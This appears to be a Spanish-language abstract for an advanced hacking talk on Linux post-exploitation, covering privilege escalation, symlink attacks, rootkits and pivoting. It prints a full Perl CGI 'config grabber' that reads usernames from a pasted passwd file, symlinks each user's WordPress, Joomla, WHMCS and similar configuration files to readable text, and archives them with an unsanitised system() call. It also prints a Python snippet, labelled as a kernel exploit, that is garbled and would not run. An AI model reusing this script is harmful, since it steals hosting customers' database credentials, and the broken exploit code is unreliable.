Linux/Unix post hacking Dentro de las etapas del pentest se encuentra la etapa de la explotación, los auditores en seguridad informática o hackers éticos algunas veces dejan pasar por alto el nivel de elevación de privilegios ya que por el tiempo limitado que se tiene al momento de realizar una auditoría solo se delimitan a comprobar las vulnerabilidades, en esta ponencia se mostraran técnicas donde se demuestra que hacer después de haber obtenido una Shell dentro del servidor, se mostrara de manera local y grafica como llevar acabo : 1. 2. 3. 4. 5. 6. Elevación de privilegios. A taques Symlink Uso de rootkis Uso y configuración de RATS Técnicas pivoting Evidencias de una penetración a nivel político haciendo uso de estos ataques. Elevación de privilegios. Analizaremos vulnerabilidades más comunes encontradas en servidores en internet entre ellas la vulnerabilidad CVE-2014-3153 Futex, realizando un POC, esta es una llamada al sistema que se encarga de realizar bloqueos básicos, aunque también puede utilizarse para tareas más complejas como la implementación de semáforos o variables condicionales. De acuerdo al reporte, el usuario local obtendría control sobre el equipo a través de esta llamada al sistema, los privilegios adjudicados corresponderían al anillo de protección 0, el nivel con mayor número de permisos que interactúa directamente con el CPU y la memoria. Aquellos programas que se ejecutan bajo privilegios de anillo 0 pueden hacer cualquier cosa con el sistema. Analizaremos un exploit que afecta a la mayoría de las distribuciones que cuenten con un kernel 2.6.? que le permite a un atacante escalar privilegios. CVE-2009-3547 import os import time import random #infinite loop while (i == 0): os.system("sleep 1") while (x == 0): time.sleep(random.random()) #random int 0.0-1.0 pid = str(os.system("ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID; }")) if (pid == 0): #need an active pid, race condition applies print "[+] Didnt grab PID, got: " + pid + " -- Retrying..." return else: print "[+] PID: " + pid loc = "echo n > /proc/" + pid + "/fd/1" os.system(loc) # triggers the fault, runs via sh Ataques Symlink Symlink o enlace simbolico es un método para hacer referencia a otros archivos y carpetas en Linux. Symlink tambien es utilizado como una técnica de hacking para obtener acceso no autorizado a los archivos de configuración de las diferentes aplicaciones alojadas en el servidor. Usando esta técnica se generá un enlace simbolico en formato txt que contiene la configuración de sitios como vBulletin,IPB,MyBB,Php Nuke,SMF,Joomla,WordPress,Drupal,Oscomme-rce,e107 etc. Compilaremos exploits para realizar dicha actividad, acompañado por otras compilaciones anteriores para que esto funcione. #!/usr/bin/perl -I/usr/local/bandmin print "Content-type: text/html\n\n"; print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Language" content="en-us" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>[~] AtommotA Config - [~] </title> <style type="text/css"> .newStyle1 { font-family: Tahoma; font-size: x-small; font-weight: bold; color: #00FFFF; text-align: center; } </style> </head> '; sub lil{ ($user) = @_; $msr = qx{pwd}; $kola=$msr."/".$user; $kola=~s/\n//g; symlink('/home/'.$user.'/public_html/includes/configure.php',$kola.'-shop.txt'); symlink('/home/'.$user.'/public_html/amember/config.inc.php',$kola.'-amember.txt'); symlink('/home/'.$user.'/public_html/config.inc.php',$kola.'-amember2.txt'); symlink('/home/'.$user.'/public_html/members/configuration.php',$kola.'-members.txt'); symlink('/home/'.$user.'/public_html/config.php',$kola.'2.txt'); symlink('/home/'.$user.'/public_html/forum/includes/config.php',$kola.'-forum.txt'); symlink('/home/'.$user.'/public_html/admin/conf.php',$kola.'5.txt'); symlink('/home/'.$user.'/public_html/admin/config.php',$kola.'4.txt'); symlink('/home/'.$user.'/public_html/wp-config.php',$kola.'-wordpress.txt'); symlink('/home/'.$user.'/public_html/blog/wp-config.php',$kola.'-wordpress-1.txt'); symlink('/home/'.$user.'/public_html/conf_global.php',$kola.'6.txt'); symlink('/home/'.$user.'/public_html/include/db.php',$kola.'7.txt'); symlink('/home/'.$user.'/public_html/connect.php',$kola.'8.txt'); symlink('/home/'.$user.'/public_html/mk_conf.php',$kola.'9.txt'); symlink('/home/'.$user.'/public_html/include/config.php',$kola.'12.txt'); symlink('/home/'.$user.'/public_html/joomla/configuration.php',$kola.'-joomla.txt'); symlink('/home/'.$user.'/public_html/vb/includes/config.php',$kola.'-vb.txt'); symlink('/home/'.$user.'/public_html/includes/config.php',$kola.'-includes-vb.txt'); symlink('/home/'.$user.'/public_html/whm/configuration.php',$kola.'-whm15.txt'); symlink('/home/'.$user.'/public_html/whmc/configuration.php',$kola.'-whmc16.txt'); symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$kola.'-whmcs.txt'); symlink('/home/'.$user.'/public_html/support/configuration.php',$kola.'-support.txt'); symlink('/home/'.$user.'/public_html/configuration.php',$kola.'1whmcs.txt'); symlink('/home/'.$user.'/public_html/submitticket.php',$kola.'-whmcs2.txt'); symlink('/home/'.$user.'/public_html/clients/configuration.php',$kola.'-clients.txt'); symlink('/home/'.$user.'/public_html/client/configuration.php',$kola.'-client.txt'); symlink('/home/'.$user.'/public_html/clientes/configuration.php',$kola.'-clients.txt'); symlink('/home/'.$user.'/public_html/billing/configuration.php',$kola.'-billing.txt'); symlink('/home/'.$user.'/public_html/manage/configuration.php',$kola.'-billing.txt'); symlink('/home/'.$user.'/public_html/my/configuration.php',$kola.'-billing.txt'); symlink('/home/'.$user.'/public_html/myshop/configuration.php',$kola.'-billing.txt'); } if ($ENV{'REQUEST_METHOD'} eq 'POST') { read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); } else { $buffer = $ENV{'QUERY_STRING'}; } @pairs = split(/&/, $buffer); foreach $pair (@pairs) { ($name, $value) = split(/=/, $pair); $name =~ tr/+/ /; $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $FORM{$name} = $value; } if ($FORM{pass} eq ""){ print ' <body class="newStyle1" background="http://www.1337day.com/inj3ct0r/dot.gif" bgcolor="#000000"> <link rel="SHORTCUT ICON" href="http://icons.iconarchive.com/icons/custom-icon-design/all-countryflag/256/Malaysia-Flag-icon.png"> <script src="http://snow-effect.googlecode.com/files/snow.js" type="text/javascript"></script> <embed src="http://www.youtube.com/v/OIMzM6P-5Rk&autoplay=1&loop=1" type="application/xshockwave-flash" wmode="transparent" height="1" width="1"> <p>AtommotA Config Script</p> <p><font color="#C0C0C0">[</font> Coded By AtommotA <font color="#C0C0C0">|</font> Cat- DevilCode<span id="result_box" class="short_text" lang="en"><span style title> <font color="#C0C0C0">|</font></span></span> <a href="http://www.catdevilcode.net/"> <span style="text-decoration: none"><font color="#00FF00">http://www.catdevilcode.net/</font></span></a> <font color="#C0C0C0">]</font></p> <form method="post"> <textarea name="pass" style="border:1px dotted #00FFFF; width: 543px; height: 420px; backgroundcolor:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#00FFFF" ></textarea><br /> <p> <input name="tar" type="text" style="border:1px dotted #00FFFF; width: 212px; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#00FFFF; " /><br /> </p> <p> <input name="Submit1" type="submit" value="Dapatkan Config!" style="border:1px dotted #00FFFF; width: 99; font-family:Tahoma; font-size:10pt; color:#00FFFF; text-transform:uppercase; height:23; backgroundcolor:#0C0C0C" /></p> </form>'; }else{ @lines =<$FORM{pass}>; $y = @lines; open (MYFILE, ">atom.mota"); print MYFILE "tar -czf ".$FORM{tar}.".tar "; for ($ka=0;$ka<$y;$ka++){ while(@lines[$ka] =~ m/(.*?):x:/g){ &lil($1); print MYFILE $1.".txt "; for($kd=1;$kd<18;$kd++){ print MYFILE $1.$kd.".txt "; } } } print'<body class="newStyle1" bgcolor="#000000"> <body class="newStyle1" background="http://www.1337day.com/inj3ct0r/dot.gif" bgcolor="#000000"> <link rel="SHORTCUT ICON" href="http://icons.iconarchive.com/icons/custom-icon-design/all-countryflag/256/Malaysia-Flag-icon.png"> <script src="http://snow-effect.googlecode.com/files/snow.js" type="text/javascript"></script> <embed src="http://www.youtube.com/v/OIMzM6P-5Rk&autoplay=1&loop=1" type="application/xshockwave-flash" wmode="transparent" height="1" width="1"> <p>Berjaya !!</p> <p> </p>'; if($FORM{tar} ne ""){ open(INFO, "atom.mota"); @lines =<INFO> ; close(INFO); system(@lines); print'<p><a href="'.$FORM{tar}.'.tar"><font color="#00FF00"> <span style="text-decoration: none">Click Here To Download Tar File</span></font></a></p>'; } } print" </body> </html>"; Uso de rootkis Un rootkit permite un acceso de privilegio continuo a una computadora pero que mantiene su presencia activamente oculta al control de los administradores al corromper el funcionamiento normal del sistema operativo o de otras aplicaciones. El término proviene de una concatenación de la palabra inglesa root, que significa 'raíz' (nombre tradicional de la cuenta privilegiada en los sistemas operativos Unix) y de la palabra inglesa kit, que significa 'conjunto de herramientas' (en referencia a los componentes de software que implementan este programa). El término rootkit tiene connotaciones peyorativas ya que se lo asocia al malware. En otras palabras, usualmente se lo asocia con malware, que se esconde a sí mismo y a otros programas, procesos, archivos, directorios, claves de registro, y puertos que permiten al intruso mantener el acceso a una amplia variedad de sistemas operativos como pueden ser GNU/Linux, Solaris o Microsoft Windows para remotamente comandar acciones o extraer información sensible. Típicamente, un atacante instala un rootkit en una computadora después de primero haber obtenido un acceso al nivel raíz, ya sea por haberse aprovechado de una vulnerabilidad conocida o por haber obtenido una contraseña (ya sea por crackeo de la encriptación o por ingeniería social). Una vez que el rootkit ha sido instalado, permite que el atacante disfrace la siguiente intrusión y mantenga el acceso privilegiado a la computadora por medio de rodeos a los mecanismos normales de autenticación y autorización. Pese a que los rootktis pueden servir con muchos fines, han ganado notoriedad fundamentalmente como malware, escondiendo programas que se apropian de los recursos de las computadoras o que roban contraseñas sin el conocimiento de los administradores y de los usuarios de los sistemas afectados. Los rootkits pueden estar dirigidos al firmware, al hipervisor, al núcleo, ó , más comúnmente, a los programas del usuario. En este apartado veremos cómo se crea una persistencia dentro de un servidor para que sea parte de una bootnet, es por ello como grupos de hacking desean tanto el obtener una Shell con root ya que ese servidor en internet será usado como parte de una bootnet que realiza diversas actividades desde la recolección de información y bases de datos a nivel mundial, Ciber ataques hasta el minado de Bitcoins. Técnicas pivoting Es un método o que consiste básicamente en utilizar un sistema bajo nuestro control como pasarela para atacar otros sistemas y redes, evadiendo así restricciones como las reglas de un firewall intermedio. Podríamos dividir esta técnica en dos grandes tipos: - Proxy pivoting: voting: se canaliza el tráfico a través de un payload en el equipo mediante el cual pivotaremos. Se limita a determinados puertos TCP y UDP. - VPN pivoting: consiste en crear un túnel cifrado contra el equipo mediante el cual pivotaremos para enrutar todo el tráfico de red, por ejemplo para ejecutar un escaneo de vulnerabilidades a otros equipos de su red o de otras redes a las que tiene acceso. Evidencias de una penetración a nivel político haciendo uso de estos ataques. Nos reservamos de dar más detalles al respecto. Tiempo: 1: 30 Horas Material necesario: Proyector y apuntador Nivel: Avanzado Requisitos: Los participantes deberán tener conocimiento acerca de técnicas de Hackeo
© Copyright 2024